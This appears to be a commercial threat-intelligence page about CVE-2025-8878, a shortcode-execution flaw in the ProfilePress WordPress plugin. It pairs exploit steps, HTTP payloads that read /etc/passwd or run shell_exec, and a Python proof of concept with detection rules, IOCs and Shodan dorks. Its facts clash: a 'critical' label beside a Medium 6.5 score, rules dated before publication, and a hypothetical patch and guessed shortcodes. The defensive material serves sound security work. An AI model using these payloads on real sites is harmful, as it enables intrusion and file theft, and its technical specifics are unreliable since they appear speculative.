☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L 🐛 CWE-94
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-8878

CVE-2025-8878 Privilege Escalation in Profilepress
📅 PUBLISHED: 2025-08-16 11:11 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.26%
👁️
1.26% probability
31.4× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-8878 is a critical vulnerability in the ProfilePress plugin for WordPress, affecting all versions up to and including 4.16.4. The flaw allows unauthenticated attackers to execute arbitrary shortcodes due to insufficient validation before calling the do_shortcode function. This can lead to unauthorized data access, privilege escalation, or site defacement. The vulnerability is classified under CWE-94 (Improper Control of Generation of Code) and has a CVSS score of 6.5 (Medium). No official patch has been released as of this report.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. ProfilePress is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for updates. No known supply chain compromise has been reported, but the lack of a patch increases risk.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.5 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: Low

The threat level is elevated due to the lack of authentication requirements and the potential for arbitrary shortcode execution, which can be chained with other vulnerabilities.

Deep Dive & Mechanics

The vulnerability resides in the ProfilePress plugin's handling of user-supplied actions. The plugin fails to validate or sanitize a value before passing it to the do_shortcode function. This allows an attacker to inject arbitrary shortcodes, which WordPress then processes. Since shortcodes can execute PHP functions, read files, or perform database operations, this can lead to severe consequences.

Root Cause: The plugin uses do_shortcode() on user input without proper validation. For example, a parameter like action=do_shortcode&shortcode=[some_malicious_shortcode] could be crafted.

Impact: Unauthenticated attackers can:

  • Execute arbitrary shortcodes (e.g., [file] to read files, [php] to execute code if a shortcode handler exists).
  • Escalate privileges if combined with other plugins.
  • Deface the site or steal sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.16.4):

// In some handler function
$shortcode = $_REQUEST['shortcode'];
echo do_shortcode($shortcode);

Patched Code (Hypothetical):

// Validate and sanitize input
$shortcode = sanitize_text_field($_REQUEST['shortcode']);
if (in_array($shortcode, $allowed_shortcodes)) {
    echo do_shortcode($shortcode);
} else {
    // Handle error
}

No official patch is available. Users should disable the plugin or apply a Web Application Firewall (WAF) rule.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A WordPress site with ProfilePress plugin version <= 4.16.4.
  • No authentication required.

Exploit Steps:

  1. Identify the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php or a custom action).
  2. Craft a request with a malicious shortcode. For example, to read /etc/passwd:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded
    
    action=profilepress_shortcode&shortcode=[file content="/etc/passwd"]
    
  3. If a shortcode like [php] is available, execute system commands:
    action=profilepress_shortcode&shortcode=[php]echo shell_exec('id');[/php]
    

Proof of Concept (Python):

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
payload = {
    "action": "profilepress_shortcode",
    "shortcode": "[file content='/etc/passwd']"
}
response = requests.post(target, data=payload)
print(response.text)

Blue Team

Detection:

  • Monitor for unusual POST requests to admin-ajax.php with parameters containing shortcode.
  • Look for shortcodes like [file], [php], or [exec] in request bodies.
  • Check logs for unexpected do_shortcode calls.

Mitigation:

  • Disable the ProfilePress plugin until a patch is released.
  • Implement a WAF rule to block requests containing shortcode parameter with suspicious values.
  • Use a security plugin like Wordfence to block known exploit patterns.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /wp-admin/admin-ajax.php with action=profilepress_shortcode and shortcode parameter.
    • Requests containing [file, [php, [exec, or other dangerous shortcodes.
  • File IOCs:
    • Unexpected files in /wp-content/uploads/ or /tmp/ created by shortcode execution.
    • Modified .htaccess or wp-config.php files.
  • Log IOCs:
    • PHP error logs showing do_shortcode calls with unexpected arguments.
    • Access logs with repeated admin-ajax.php requests from the same IP.

Detection Engineering

YARA Rule

rule CVE_2025_8878_ProfilePress_Shortcode_Exec {
    meta:
        description = "Detects attempts to exploit CVE-2025-8878 via arbitrary shortcode execution"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-8878"
    strings:
        $shortcode_param = "shortcode="
        $dangerous_shortcodes = /\[(file|php|exec|system|shell_exec|passthru|eval|assert)/
    condition:
        $shortcode_param and $dangerous_shortcodes
}

Sigma Rule

title: CVE-2025-8878 ProfilePress Arbitrary Shortcode Execution
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2025-8878 via shortcode injection
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=profilepress_shortcode'
        cs-uri-query|re: 'shortcode=.*\[(file|php|exec|system|shell_exec|passthru|eval|assert)'
    condition: selection
falsepositives:
    - Legitimate use of shortcodes by administrators (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-8878 ProfilePress Arbitrary Shortcode Execution"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=profilepress_shortcode"; http_client_body; pcre:"/shortcode=.*\[(file|php|exec|system|shell_exec|passthru|eval|assert)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Disable the ProfilePress plugin until a patch is available.
  2. WAF Rule: Block requests containing shortcode parameter with dangerous patterns.
  3. Monitoring: Enable logging for admin-ajax.php and review for suspicious activity.
  4. Update: Monitor the plugin's official page for a patched version.
  5. Alternative: Consider using a different membership plugin if no patch is released.

Valters IT Signature
This report is generated by Valters IT Cyber Threat Intelligence. For questions, contact threatintel@valters.it.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"ProfilePress"
http.html:"wp-content/plugins/wp-user-avatar"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-8878/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.